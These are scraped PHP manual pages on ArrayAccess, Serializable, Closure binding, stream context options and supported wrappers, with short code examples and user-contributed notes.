IteratorAggregate::getIterator
ArrayAccess::offsetExists
Predefined Interfaces


Whether a offset exists

ArrayAccess
ArrayAccess::offsetGet
ArrayAccess
PHP Manual

ArrayAccess::offsetExists

(PHP 5 >= 5.0.0)

ArrayAccess::offsetExists — Whether a offset exists

Description

abstract public boolean ArrayAccess::offsetExists ( mixed $offset )

Whether or not an offset exists.

This method is executed when using isset() or empty() on objects implementing ArrayAccess.

Note:

When using empty() ArrayAccess::offsetGet() will be called and checked if empty only if ArrayAccess::offsetExists() returns TRUE.

Parameters

offset

An offset to check for.

Return Values

Returns TRUE on success or FALSE on failure.

Note:

The return value will be casted to boolean if non-boolean was returned.

Examples

Example #1 ArrayAccess::offsetExists() example

<?php
class obj implements arrayaccess {
    public function offsetSet($offset, $value) {
        var_dump(__METHOD__);
    }
    public function offsetExists($var) {
        var_dump(__METHOD__);
        if ($var == "foobar") {
            return true;
        }
        return false;
    }
    public function offsetUnset($var) {
        var_dump(__METHOD__);
    }
    public function offsetGet($var) {
        var_dump(__METHOD__);
        return "value";
    }
}

$obj = new obj;

echo "Runs obj::offsetExists()\n";
var_dump(isset($obj["foobar"]));

echo "\nRuns obj::offsetExists() and obj::offsetGet()\n";
var_dump(empty($obj["foobar"]));

echo "\nRuns obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get\n";
var_dump(empty($obj["foobaz"]));
?>

The above example will output something similar to:

Runs obj::offsetExists()
string(17) "obj::offsetExists"
bool(true)

Runs obj::offsetExists() and obj::offsetGet()
string(17) "obj::offsetExists"
string(14) "obj::offsetGet"
bool(false)

Runs obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get
string(17) "obj::offsetExists"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.
ArrayAccess
ArrayAccess::offsetGet
ArrayAccess


Offset to retrieve

ArrayAccess::offsetExists
ArrayAccess::offsetSet
ArrayAccess
PHP Manual

ArrayAccess::offsetGet

(PHP 5 >= 5.0.0)

ArrayAccess::offsetGet — Offset to retrieve

Description

abstract public mixed ArrayAccess::offsetGet ( mixed $offset )

Returns the value at specified offset.

This method is executed when checking if offset is empty().

Parameters

offset

The offset to retrieve.

Notes

Note:

Starting with PHP 5.3.4, the prototype checks were relaxed and it's possible for implementations of this method to return by reference. This makes indirect modifications to the overloaded array dimensions of ArrayAccess objects possible.

A direct modification is one that replaces completely the value of the array dimension, as in $obj[6] = 7. An indirect modification, on the other hand, only changes part of the dimension, or attempts to assign the dimension by reference to another variable, as in $obj[6][7] = 7 or $var =& $obj[6]. Increments with ++ and decrements with -- are also implemented in a way that requires indirect modification.

While direct modification triggers a call to ArrayAccess::offsetSet(), indirect modification triggers a call to ArrayAccess::offsetGet(). In that case, the implementation of ArrayAccess::offsetGet() must be able to return by reference, otherwise an E_NOTICE message is raised.

Return Values

Can return all value types.

See Also

  • ArrayAccess::offsetExists() - Whether a offset exists

User Contributed Notes

There are no user contributed notes for this page.
ArrayAccess::offsetExists
ArrayAccess::offsetSet
ArrayAccess


Offset to set

ArrayAccess::offsetGet
ArrayAccess::offsetUnset
ArrayAccess
PHP Manual

ArrayAccess::offsetSet

(PHP 5 >= 5.0.0)

ArrayAccess::offsetSet — Offset to set

Description

abstract public void ArrayAccess::offsetSet ( mixed $offset , mixed $value )

Assigns a value to the specified offset.

Parameters

offset

The offset to assign the value to.

value

The value to set.

Return Values

No value is returned.

Notes

Note:

The offset parameter will be set to NULL if another value is not available, like in the following example.

<?php
$arrayaccess[] = "first value";
$arrayaccess[] = "second value";
print_r($arrayaccess);
?>

The above example will output:

Array
(
    [0] => first value
    [1] => second value
)

Note:

This function is not called in assignments by reference and otherwise indirect changes to array dimensions overloaded with ArrayAccess (indirect in the sense they are made not by changing the dimension directly, but by changing a sub-dimension or sub-property or assigning the array dimension by reference to another variable). Instead, ArrayAccess::offsetGet() is called. The operation will only be successful if that method returns by reference, which is only possible since PHP 5.3.4.

User Contributed Notes

There are no user contributed notes for this page.
ArrayAccess::offsetGet
ArrayAccess::offsetUnset
ArrayAccess


Offset to unset

ArrayAccess::offsetSet
Serializable
ArrayAccess
PHP Manual

ArrayAccess::offsetUnset

(PHP 5 >= 5.0.0)

ArrayAccess::offsetUnset — Offset to unset

Description

abstract public void ArrayAccess::offsetUnset ( mixed $offset )

Unsets an offset.

Note:

This method will not be called when type-casting to (unset)

Parameters

offset

The offset to unset.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ArrayAccess::offsetSet
Serializable
ArrayAccess


The Serializable interface

(PHP 5 >= 5.1.0)

Introduction

Interface for customized serializing.

Classes that implement this interface no longer support __sleep() and __wakeup(). The method serialize is called whenever an instance needs to be serialized. This does not invoke __destruct() or has any other side effect unless programmed inside the method. When the data is unserialized the class is known and the appropriate unserialize() method is called as a constructor instead of calling __construct(). If you need to execute the standard constructor you may do so in the method.

Interface synopsis

Serializable {
/* Methods */
abstract public string serialize ( void )
abstract public mixed unserialize ( string $serialized )
}

Example #1 Basic usage

<?php
class obj implements Serializable {
    private $data;
    public function __construct() {
        $this->data = "My private data";
    }
    public function serialize() {
        return serialize($this->data);
    }
    public function unserialize($data) {
        $this->data = unserialize($data);
    }
    public function getData() {
        return $this->data;
    }
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);

$newobj = unserialize($ser);

var_dump($newobj->getData());
?>

The above example will output something similar to:

string(38) "C:3:"obj":23:{s:15:"My private data";}"
string(15) "My private data"

Table of Contents

  • Serializable::serialize — String representation of object
  • Serializable::unserialize — Constructs the object

User Contributed Notes

marcos dot gottardi at folha dot REM0VE-THIS dot com dot br 13-Jan-2012 09:05
Serializing child and parent classes:

<?php
class MyClass implements Serializable {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function getData() {
        return $this->data;
    }

    public function serialize() {
        echo "Serializing MyClass...\n";
        return serialize($this->data);
    }

    public function unserialize($data) {
        echo "Unserializing MyClass...\n";
        $this->data = unserialize($data);
    }
}

class MyChildClass extends MyClass {
    private $id;
    private $name;

    public function __construct($id, $name, $data) {
        parent::__construct($data);
        $this->id = $id;
        $this->name = $name;
    }

    public function serialize() {
        echo "Serializing MyChildClass...\n";
        return serialize(
            array(
                'id' => $this->id,
                'name' => $this->name,
                'parentData' => parent::serialize()
            )
        );
    }

    public function unserialize($data) {
        echo "Unserializing MyChildClass...\n";
        $data = unserialize($data);

        $this->id = $data['id'];
        $this->name = $data['name'];
        parent::unserialize($data['parentData']);
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }
}

$obj = new MyChildClass(15, 'My class name', 'My data');

$serial = serialize($obj);
$newObject = unserialize($serial);

echo $newObject->getId() . PHP_EOL;
echo $newObject->getName() . PHP_EOL;
echo $newObject->getData() . PHP_EOL;

?>

This will output:

Serializing MyChildClass...
Serializing MyClass...
Unserializing MyChildClass...
Unserializing MyClass...
15
My class name
My data
Anonymous 05-Jul-2011 07:01
You cannot throw an exception inside the serialize() method.  This will cause PHP to complain that you are not returning a string or NULL.

The best way to prevent the serialization of an object is to throw an Exception in the __sleep() method:

<?php
class Obj {
  public function __sleep() {
    throw new BadMethodCallException('You cannot serialize this object.');
  }
}
?>
Anonymous 12-May-2011 06:09
You can prevent an object getting unserialized by returning NULL. Instead of a serialized object, PHP will return the serialized form of NULL:

<?php
class testNull implements Serializable {
    public function serialize() {
        return NULL;
    }
    public function unserialize($data) {
    }
}

$obj = new testNull;
$string = serialize($obj);
echo $string; // "N;"
?>

That's perhaps better than throwing exceptions inside of the serialize function if you want to prevent serialization of certain objects.
ArrayAccess::offsetUnset
Serializable::serialize
Predefined Interfaces


String representation of object

Serializable
Serializable::unserialize
Serializable
PHP Manual

Serializable::serialize

(PHP 5 >= 5.1.0)

Serializable::serialize — String representation of object

Description

abstract public string Serializable::serialize ( void )

Should return the string representation of the object.

Note:

This method acts as the destructor of the object. The __destruct() method will not be called after this method.

Parameters

This function has no parameters.

Return Values

Returns the string representation of the object or NULL

Errors/Exceptions

Throws Exception when returning other types then strings and NULL

See Also

  • __sleep()

User Contributed Notes

There are no user contributed notes for this page.
Serializable
Serializable::unserialize
Serializable


Constructs the object

Serializable::serialize
Closure
Serializable
PHP Manual

Serializable::unserialize

(PHP 5 >= 5.1.0)

Serializable::unserialize — Constructs the object

Description

abstract public mixed Serializable::unserialize ( string $serialized )

Called during unserialization of the object.

Note:

This method acts as the constructor of the object. The __construct() method will not be called after this method.

Parameters

serialized

The string representation of the object.

Return Values

Returns the original value unserialized.

See Also

  • __wakeup()

User Contributed Notes

There are no user contributed notes for this page.
Serializable::serialize
Closure
Serializable


The Closure class

(No version information available, might only be in SVN)

Introduction

Class used to represent anonymous functions.

Anonymous functions, implemented in PHP 5.3, yield objects of this type. This fact used to be considered an implementation detail, but it can now be relied upon. Starting with PHP 5.4, this class has methods that allow further control of the anonymous function after it has been created.

Besides the methods listed here, this class also has an __invoke method. This is for consistency with other classes that implement calling magic, as this method is not used for calling the function.

Class synopsis

Closure {
/* Methods */
__construct ( void )
public static Closure bind ( Closure $closure , object $newthis [, mixed $newscope = 'static' ] )
public Closure bindTo ( object $newthis [, mixed $newscope = 'static' ] )
}

Table of Contents

  • Closure::__construct — Constructor that disallows instantiation
  • Closure::bind — Duplicates a closure with a specific bound object and class scope
  • Closure::bindTo — Duplicates the closure with a new bound object and class scope

User Contributed Notes

There are no user contributed notes for this page.
Serializable::unserialize
Closure::__construct
Predefined Interfaces


Constructor that disallows instantiation

Closure
Closure::bind
Closure
PHP Manual

Closure::__construct

(No version information available, might only be in SVN)

Closure::__construct — Constructor that disallows instantiation

Description

Closure::__construct ( void )

This method exists only to disallow instantiation of the Closure class. Objects of this class are created in the fashion described on the anonymous functions page.

Parameters

This function has no parameters.

Return Values

This method has no return value; it simply emits an error (of type E_RECOVERABLE_ERROR).

See Also

  • Anonymous functions

User Contributed Notes

There are no user contributed notes for this page.
Closure
Closure::bind
Closure


Duplicates a closure with a specific bound object and class scope

Closure::__construct
Closure::bindTo
Closure
PHP Manual

Closure::bind

(No version information available, might only be in SVN)

Closure::bind — Duplicates a closure with a specific bound object and class scope

Description

public static Closure Closure::bind ( Closure $closure , object $newthis [, mixed $newscope = 'static' ] )

This method is a static version of Closure::bindTo(). See the documentation of that method for more information.

Parameters

closure

The anonymous functions to bind.

newthis

The object to which the given anonymous function should be bound, or NULL for the closure to be unbound.

newscope

The class scope to which associate the closure is to be associated, or 'static' to keep the current one. If an object is given, the type of the object will be used instead. This determines the visibility of protected and private methods of the bound object.

Return Values

Returns a new Closure object or FALSE on failure

Examples

Example #1 Closure::bind() example

<?php
class A {
    private static $sfoo = 1;
    private $ifoo = 2;
}
$cl1 = static function() {
    return A::$sfoo;
};
$cl2 = function() {
    return $this->ifoo;
};

$bcl1 = Closure::bind($cl1, null, 'A');
$bcl2 = Closure::bind($cl2, new A(), 'A');
echo $bcl1(), "\n";
echo $bcl2(), "\n";
?>

The above example will output something similar to:

1
2

See Also

  • Anonymous functions
  • Closure::bindTo() - Duplicates the closure with a new bound object and class scope

User Contributed Notes

There are no user contributed notes for this page.
Closure::__construct
Closure::bindTo
Closure


Duplicates the closure with a new bound object and class scope

Closure::bind
Context options and parameters
Closure
PHP Manual

Closure::bindTo

(No version information available, might only be in SVN)

Closure::bindTo — Duplicates the closure with a new bound object and class scope

Description

public Closure Closure::bindTo ( object $newthis [, mixed $newscope = 'static' ] )

Create and return a new anonymous function with the same body and bound variables as this one, but possibly with a different bound object and a new class scope.

The “bound object” determines the value $this will have in the function body and the “class scope” represents a class which determines which private and protected members the anonymous function will be able to access. Namely, the members that will be visible are the same as if the anonymous function were a method of the class given as value of the newscope parameter.

Static closures cannot have any bound object (the value of the parameter newthis should be NULL), but this function can nevertheless be used to change their class scope.

This function will ensure that for a non-static closure, having a bound instance will imply being scoped and vice-versa. To this end, non-static closures that are given a scope but a NULL instance are made static and non-static non-scoped closures that are given a non-null instance are scoped to an unspecified class.

Note:

If you only want to duplicate the anonymous functions, you can use cloning instead.

Parameters

newthis

The object to which the given anonymous function should be bound, or NULL for the closure to be unbound.

newscope

The class scope to which associate the closure is to be associated, or 'static' to keep the current one. If an object is given, the type of the object will be used instead. This determines the visibility of protected and private methods of the bound object.

Return Values

Returns the newly created Closure object or FALSE on failure

Examples

Example #1 Closure::bindTo() example

<?php

class A {
    function __construct($val) {
        $this->val = $val;
    }
    function getClosure() {
        //returns closure bound to this object and scope
        return function() { return $this->val; };
    }
}

$ob1 = new A(1);
$ob2 = new A(2);

$cl = $ob1->getClosure();
echo $cl(), "\n";
$cl = $cl->bindTo($ob2);
echo $cl(), "\n";
?>

The above example will output something similar to:

1
2

See Also

  • Anonymous functions
  • Closure::bind() - Duplicates a closure with a specific bound object and class scope

User Contributed Notes

amica at php-resource dot de 18-Dec-2011 04:23
With rebindable $this at hand it's possible to do evil stuff:

<?php
    class A {
        private $a = 12;
        private function getA () {
            return $this->a;
        }
    }
    class B {
        private $b = 34;
        private function getB () {
            return $this->b;
        }
    }
    $a = new A();
    $b = new B();
    $c = function () {
        if (property_exists($this, "a") && method_exists($this, "getA")) {
            $this->a++;
            return $this->getA();
        }
        if (property_exists($this, "b") && method_exists($this, "getB")) {
            $this->b++;
            return $this->getB();
        }
    };
    $ca = $c->bindTo($a, $a);
    $cb = $c->bindTo($b, $b);
    echo $ca(), "\n"; // => 13
    echo $cb(), "\n"; // => 35
?>
Closure::bind
Context options and parameters
Closure


Context options and parameters

PHP offers various context options and parameters which can be used with all
filesystem and stream wrappers. The context is created with
stream_context_create(). Options are set with
stream_context_set_option() and parameters with
stream_context_set_params().

Table of Contents

  • Socket context options — Socket context option listing
  • HTTP context options — HTTP context option listing
  • FTP context options — FTP context option listing
  • SSL context options — SSL context option listing
  • CURL context options — CURL context option listing
  • Phar context options — Phar context option listing
  • Context parameters — Context parameter listing

User Contributed Notes

There are no user contributed notes for this page.
Closure::bindTo
Socket context options
Language Reference


Socket context option listing

Context options and parameters
HTTP context options
Context options and parameters
PHP Manual

Socket context options

Socket context options — Socket context option listing

Description

Socket context options are available for all wrappers that work over sockets, like tcp, http and ftp.

Options

bindto

Used to specify the IP address (either IPv4 or IPv6) and/or the port number that PHP will use to access the network. The syntax is ip:port. Setting the IP or the port to 0 will let the system choose the IP and/or port.

Note:

As FTP creates two socket connections during normal operation, the port number cannot be specified using this option.

backlog

Used to limit the number of outstanding connections in the socket's listen queue.

Note:

This is only applicable to stream_socket_server().

Changelog

Version | Description
5.1.0 | Added bindto.
5.3.3 | Added backlog.

Examples

Example #1 Basic bindto usage example

<?php
// connect to the internet using the '192.168.0.100' IP
$opts = array(
    'socket' => array(
        'bindto' => '192.168.0.100:0',
    ),
);

// connect to the internet using the '192.168.0.100' IP and port '7000'
$opts = array(
    'socket' => array(
        'bindto' => '192.168.0.100:7000',
    ),
);

// connect to the internet using port '7000'
$opts = array(
    'socket' => array(
        'bindto' => '0:7000',
    ),
);

// create the context...
$context = stream_context_create($opts);

// ...and use it to fetch the data
echo file_get_contents('http://www.example.com', false, $context);

?>

User Contributed Notes

There are no user contributed notes for this page.
Context options and parameters
HTTP context options
Context options and parameters


HTTP context option listing

Socket context options
FTP context options
Context options and parameters
PHP Manual

HTTP context options

HTTP context options — HTTP context option listing

Description

Context options for http:// and https:// transports.

Options

method string

GET, POST, or any other HTTP method supported by the remote server.

Defaults to GET.

header string

Additional headers to be sent during request. Values in this option will override other values (such as User-agent:, Host:, and Authentication:).

user_agent string

Value to send with User-Agent: header. This value will only be used if user-agent is not specified in the header context option above.

By default the user_agent php.ini setting is used.

content string

Additional data to be sent after the headers. Typically used with POST or PUT requests.

proxy string

URI specifying address of proxy server. (e.g. tcp://proxy.example.com:5100).

request_fulluri boolean

When set to TRUE, the entire URI will be used when constructing the request. (i.e. GET http://www.example.com/path/to/file.html HTTP/1.0). While this is a non-standard request format, some proxy servers require it.

Defaults to FALSE.

follow_location integer

Follow Location: .. redirects.

Defaults to TRUE.

max_redirects integer

The max number of redirects to follow. Value 1 or less means that no redirects are followed.

Defaults to 20.

protocol_version float

HTTP protocol version.

Defaults to 1.0.

Note:

PHP prior to 5.3.0 does not implement chunked transfer decoding. If this value is set to 1.1 it is your responsibility to be 1.1 compliant.

timeout float

Read timeout in seconds, specified by a float (e.g. 10.5).

By default the default_socket_timeout php.ini setting is used.

ignore_errors boolean

Fetch the content even on failure status codes.

Defaults to FALSE

Changelog

Version | Description
5.3.4 | Added follow_location.
5.3.0 | The protocol_version supports chunked transfer decoding when set to 1.1.
5.2.10 | Added ignore_errors.
5.2.10 | The header can now be an numerically indexed array.
5.2.1 | Added timeout.
5.1.0 | Added HTTPS proxying through HTTP proxies.
5.1.0 | Added max_redirects.
5.1.0 | Added protocol_version.

Examples

Example #1 Fetch a page and send POST data

<?php

$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

Example #2 Ignore redirects but fetch headers and content

<?php

$url = "http://www.example.org/header.php";

$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);

$context = stream_context_create($opts);
$stream = fopen($url, 'r', false, $context);

// header information as well as meta data
// about the stream
var_dump(stream_get_meta_data($stream));

// actual data at $url
var_dump(stream_get_contents($stream));
fclose($stream);
?>

Notes

Note: Underlying socket stream context options
Additional context options may be supported by the underlying transport For http:// streams, refer to context options for the tcp:// transport. For https:// streams, refer to context options for the ssl:// transport.

Note: HTTP status line
When this stream wrapper follows a redirect, the wrapper_data returned by stream_get_meta_data() might not necessarily contain the HTTP status line that actually applies to the content data at index 0.

array (
  'wrapper_data' =>
  array (
    0 => 'HTTP/1.0 301 Moved Permantenly',
    1 => 'Cache-Control: no-cache',
    2 => 'Connection: close',
    3 => 'Location: http://example.com/foo.jpg',
    4 => 'HTTP/1.1 200 OK',
    ...
The first request returned a 301 (permanent redirect), so the stream wrapper automatically followed the redirect to get a 200 response (index = 4).

See Also

  • http://
  • Socket context options
  • SSL context options

User Contributed Notes

gourav sarkar 18-Jan-2011 08:09
watch your case when using methods (POST and GET)...it must be always uppercase. in case of you write it in lower case it wont work.
TxRx 15-Dec-2009 09:13
Note that if the server is not able to 'getaddresses' change the name to an ip address and that'll sort that out for internal looking calls and posts.
Socket context options
FTP context options
Context options and parameters


FTP context option listing

HTTP context options
SSL context options
Context options and parameters
PHP Manual

FTP context options

FTP context options — FTP context option listing

Description

Context options for ftp:// and ftps:// transports.

Options

overwrite boolean

Allow overwriting of already existing files on remote server. Applies to write mode (uploading) only.

Defaults to FALSE.

resume_pos integer

File offset at which to begin transfer. Applies to read mode (downloading) only.

Defaults to 0 (Beginning of File).

proxy string

Proxy FTP request via http proxy server. Applies to file read operations only. Ex: tcp://squid.example.com:8000.

Changelog

Version | Description
5.1.0 | Added proxy.
5.0.0 | Added overwrite and resume_pos.

Notes

Note: Underlying socket stream context options
Additional context options may be supported by the underlying transport For ftp:// streams, refer to context options for the tcp:// transport. For ftps:// streams, refer to context options for the ssl:// transport.

See Also

  • ftp://
  • Socket context options
  • SSL context options

User Contributed Notes

php dot net at misterchucker dot com 15-Apr-2009 06:19
This is an example of how to allow fopen() to overwrite a file on an FTP site. If the stream context is not modified, an error will occur: "...failed to open stream: Remote file already exists and overwrite context option not specified...".

<?php
// The path to the FTP file, including login arguments
$ftp_path = 'ftp://username:password@example.com/example.txt';

// Allows overwriting of existing files on the remote FTP server
$stream_options = array('ftp' => array('overwrite' => true));

// Creates a stream context resource with the defined options
$stream_context = stream_context_create($stream_options);

// Opens the file for writing and truncates it to zero length
if ($fh = fopen($ftp_path, 'w', 0, $stream_context))
{
    // Writes contents to the file
    fputs($fh, 'example contents');

    // Closes the file handle
    fclose($fh);
}
else
{
    die('Could not open file.');
}
?>
HTTP context options
SSL context options
Context options and parameters


SSL context option listing

FTP context options
CURL context options
Context options and parameters
PHP Manual

SSL context options

SSL context options — SSL context option listing

Description

Context options for ssl:// and tls:// transports.

Options

verify_peer boolean

Require verification of SSL certificate used.

Defaults to FALSE.

allow_self_signed boolean

Allow self-signed certificates. Requires verify_peer.

Defaults to FALSE

cafile string

Location of Certificate Authority file on local filesystem which should be used with the verify_peer context option to authenticate the identity of the remote peer.

capath string

If cafile is not specified or if the certificate is not found there, the directory pointed to by capath is searched for a suitable certificate. capath must be a correctly hashed certificate directory.

local_cert string

Path to local certificate file on filesystem. It must be a PEM encoded file which contains your certificate and private key. It can optionally contain the certificate chain of issuers.

passphrase string

Passphrase with which your local_cert file was encoded.

CN_match string

Common Name we are expecting. PHP will perform limited wildcard matching. If the Common Name does not match this, the connection attempt will fail.

verify_depth integer

Abort if the certificate chain is too deep.

Defaults to no verification.

ciphers string

Sets the list of available ciphers. The format of the string is described in » ciphers(1).

Defaults to DEFAULT.

capture_peer_cert boolean

If set to TRUE a peer_certificate context option will be created containing the peer certificate.

capture_peer_cert_chain boolean

If set to TRUE a peer_certificate_chain context option will be created containing the certificate chain.

SNI_enabled boolean

If set to TRUE server name indication will be enabled. Enabling SNI allows multiple certificates on the same IP address.

SNI_server_name string

If set, then this value will be used as server name for server name indication. If this value is not set, then the server name is guessed based on the hostname used when opening the stream.

Changelog

Version | Description
5.3.2 | Added SNI_enabled and SNI_server_name.
5.0.0 | Added capture_peer_cert, capture_peer_chain and ciphers.

Notes

Note: Because ssl:// is the underlying transport for the https:// and ftps:// wrappers, any context options which apply to ssl:// also apply to https:// and ftps://.

Note: For SNI (Server Name Indication) to be available, then PHP must be compiled with OpenSSL 0.9.8j or greater. Use the OPENSSL_TLSEXT_SERVER_NAME to determine whether SNI is supported.

See Also

  • Socket context options

User Contributed Notes

Botjan kufca 20-Feb-2010 11:11
CN_match works contrary to intuitive thinking. I came across this when I was developing SSL server implemented in PHP. I stated (in code):

- do not allow self signed certs (works)
- verify peer certs against CA cert (works)
- verify the client's CN against CN_match (does not work), like this:

stream_context_set_option($context, 'ssl', 'CN_match', '*.example.org');

I presumed this would match any client with CN below .example.org domain.
Unfortunately this is NOT the case. The option above does not do that.

What it really does is this:
- it takes client's CN and compares it to CN_match
- IF CLIENT's CN CONTAINS AN ASTERISK like *.example.org, then it is matched against CN_match in wildcard matching fashion

Examples to illustrate behaviour:
(CNM = server's CN_match)
(CCN = client's CN)

- CNM=host.example.org, CCN=host.example.org ---> OK
- CNM=host.example.org, CCN=*.example.org ---> OK
- CNM=.example.org, CCN=*.example.org ---> OK
- CNM=example.org, CCN=*.example.org ---> ERROR

- CNM=*.example.org, CCN=host.example.org ---> ERROR
- CNM=*.example.org, CCN=*.example.org ---> OK

According to PHP sources I believe that the same applies if you are trying to act as Client and the server contains a wildcard certificate. If you set CN_match to myserver.example.org and server presents itself with *.example.org, the connection is allowed.

Everything above applies to PHP version 5.2.12.
I will supply a patch to support CN_match starting with asterisk.
FTP context options
CURL context options
Context options and parameters


CURL context option listing

SSL context options
Phar context options
Context options and parameters
PHP Manual

CURL context options

CURL context options — CURL context option listing

Description

CURL context options are available when the CURL extension was compiled using the --with-curlwrappers configure option.

Options

method string

GET, POST, or any other HTTP method supported by the remote server.

Defaults to GET.

header string

Additional headers to be sent during request. Values in this option will override other values (such as User-agent:, Host:, and Authentication:).

user_agent string

Value to send with User-Agent: header.

By default the user_agent php.ini setting is used.

content string

Additional data to be sent after the headers. This option is not used for GET or HEAD requests.

proxy string

URI specifying address of proxy server. (e.g. tcp://proxy.example.com:5100).

max_redirects integer

The max number of redirects to follow. Value 1 or less means that no redirects are followed.

Defaults to 20.

curl_verify_ssl_host boolean

Verify the host.

Defaults to FALSE

Note:

This option is available for both the http and ftp protocol wrappers.

curl_verify_ssl_peer boolean

Require verification of SSL certificate used.

Defaults to FALSE

Note:

This option is available for both the http and ftp protocol wrappers.

Examples

Example #1 Fetch a page and send POST data

<?php

$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

See Also

  • Socket context options

User Contributed Notes

patrick dot allaert at gmail dot com 05-Sep-2008 04:48
In PHP 5.2.6, the header option requires an array and not a string if PHP is built with --with-curlwrappers

Patrick Allaert
http://patrickallaert.blogspot.com/

EDIT: In PHP 5.2.10 both string or an array are accepted. // Jani
SSL context options
Phar context options
Context options and parameters


Phar context option listing

CURL context options
Context parameters
Context options and parameters
PHP Manual

Phar context options

Phar context options — Phar context option listing

Description

Context options for phar:// wrapper.

Options

compress int

One of Phar compression constants.

metadata mixed

Phar metadata. See Phar::setMetadata().

See Also

  • phar://
  • Phar stream wrapper

User Contributed Notes

There are no user contributed notes for this page.
CURL context options
Context parameters
Context options and parameters


Context parameter listing

Phar context options
Supported Protocols and Wrappers
Context options and parameters
PHP Manual

Context parameters

Context parameters — Context parameter listing

Description

These parameters can be set on a context using the stream_context_set_params() function.

Parameters

notification callback

A callback to be called when an event occurs on a stream.

See stream_notification_callback() for more details.

User Contributed Notes

There are no user contributed notes for this page.
Phar context options
Supported Protocols and Wrappers
Context options and parameters


Supported Protocols and Wrappers

PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize(). In addition to these wrappers, it is possible to register custom wrappers using the stream_wrapper_register() function.

Note: The URL syntax used to describe a wrapper only supports the scheme://... syntax. The scheme:/ and scheme: syntaxes are not supported.

Table of Contents

  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • php:// — Accessing various I/O streams
  • zlib:// — Compression Streams
  • data:// — Data (RFC 2397)
  • glob:// — Find pathnames matching pattern
  • phar:// — PHP Archive
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — Audio streams
  • expect:// — Process Interaction Streams

User Contributed Notes

leonid at shagabutdinov dot com 22-Jul-2011 09:45
For https for windows enable this extension:

extension=php_openssl.dll
kwedeth at gmail dot com 24-May-2011 06:04
When daisy-chaining wrappers, I've found that the stream context only applies to the outside wrapper. For example, the following code will not work:

<?php

$options = array('http'=>array('header'=>"Accept-Encoding: gzip\r\n"));
$context = stream_context_create($options);

$html = file_get_contents('compress.zlib://http://example.com/resource.gz', 0, $context);

?>

The context in this case is useless for the compress.zlib:// wrapper but it does not get applied to http:// and the header will not be sent.
sebastian dot krebs at kingcrunch dot de 04-Feb-2011 04:49
The stream php://temp/maxmemory:$limit stores the data in memory unless the limit is reached. Then it will write the whole content the a temporary file and frees the memory. I didnt found a way to get at least some of the data back to memory.
gjaman at gmail dot com 15-May-2008 02:15
You can decompress (gzip) a input stream by combining wrappers:

eg:  $x = file_get_contents("compress.zlib://php://input");

I used this method to decompress a gzip stream that was pushed to my webserver
jerry at gii dot co dot jp 17-Aug-2007 10:11
Not only are STDIN, STDOUT, and STDERR only allowed for CLI programs, but they are not allowed for programs that are read from STDIN. That can confuse you if you try to type in a simple test program.
sander at medicore dot nl 14-Jun-2007 04:25
to create a raw tcp listener system i use the following:

xinetd daemon with config like:
service test
{
        disable      = no
        type         = UNLISTED
        socket_type  = stream
        protocol     = tcp
        bind         = 127.0.0.1
        port         = 12345
        wait         = no
        user         = apache
        group        = apache
        instances    = 10
        server       = /usr/local/bin/php
        server_args  = -n [your php file here]
        only_from    = 127.0.0.1 #gotta love the security#
        log_type     = FILE /var/log/phperrors.log
        log_on_success += DURATION
}

now use fgets(STDIN) to read the input. Creates connections pretty quick, works like a charm.Writing can be done using the STDOUT, or just echo. Be aware that you're completely bypassing the webserver and thus certain variables will not be available.
ben dot johansen at gmail dot com 25-Oct-2006 02:57
followup:

I found that if I added this line to the AJAX call, the values would show up in the $_POST

xhttp.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded');
ben dot johansen at gmail dot com 29-Aug-2006 11:02
Example of how to use the php://input to get raw post data

//read the raw data in
$roughHTTPPOST = file_get_contents("php://input");
//parse it into vars
parse_str($roughHTTPPOST);

if you do readfile("php://input") you will get the length of the post data
ben dot johansen at gmail dot com 29-Aug-2006 12:33
In trying to do AJAX with PHP and Javascript, I came upon an issue where the POST argument from the following javascript could not be read in via PHP 5 using the $_REQUEST or $_POST. I finally figured out how to read in the raw data using the php://input directive.

Javascript code:
=============
      //create request instance
      xhttp = new XMLHttpRequest();
      // set the event handler
      xhttp.onreadystatechange = serviceReturn;
      // prep the call, http method=POST, true=asynchronous call
      var Args = 'number='+NbrValue;
      xhttp.open("POST", "http://<?php echo $_SERVER['SERVER_NAME'] ?>/webservices/ws_service.php", true);
      // send the call with args
      xhttp.send(Args);

PHP Code:
    //read the raw data in
    $roughHTTPPOST = file_get_contents("php://input");
    //parse it into vars
    parse_str($roughHTTPPOST);
heitorsiller at uol dot com dot br 07-Jul-2006 07:55
For reading a XML stream, this will work just fine:
<?php

$arq = file_get_contents('php://input');

?>

Then you can parse the XML like this:

<?php

$xml = xml_parser_create();

xml_parse_into_struct($xml, $arq, $vs);

xml_parser_free($xml);

$data = "";

foreach($vs as $v){

        if($v['level'] == 3 && $v['type'] == 'complete')
                $data .= "\n".$v['tag']." -> ".$v['value'];
}

echo $data;

?>

PS.: This is particularly useful for receiving mobile originated (MO) SMS messages from cellular phone companies.
opedroso at NOSPAMswoptimizer dot com 12-Apr-2006 11:07
php://input allows you to read raw POST data. It is a less memory intensive alternative to $HTTP_RAW_POST_DATA and does not need any special php.ini directives.

Example use:

$httprawpostdata = file_get_contents("php://input");

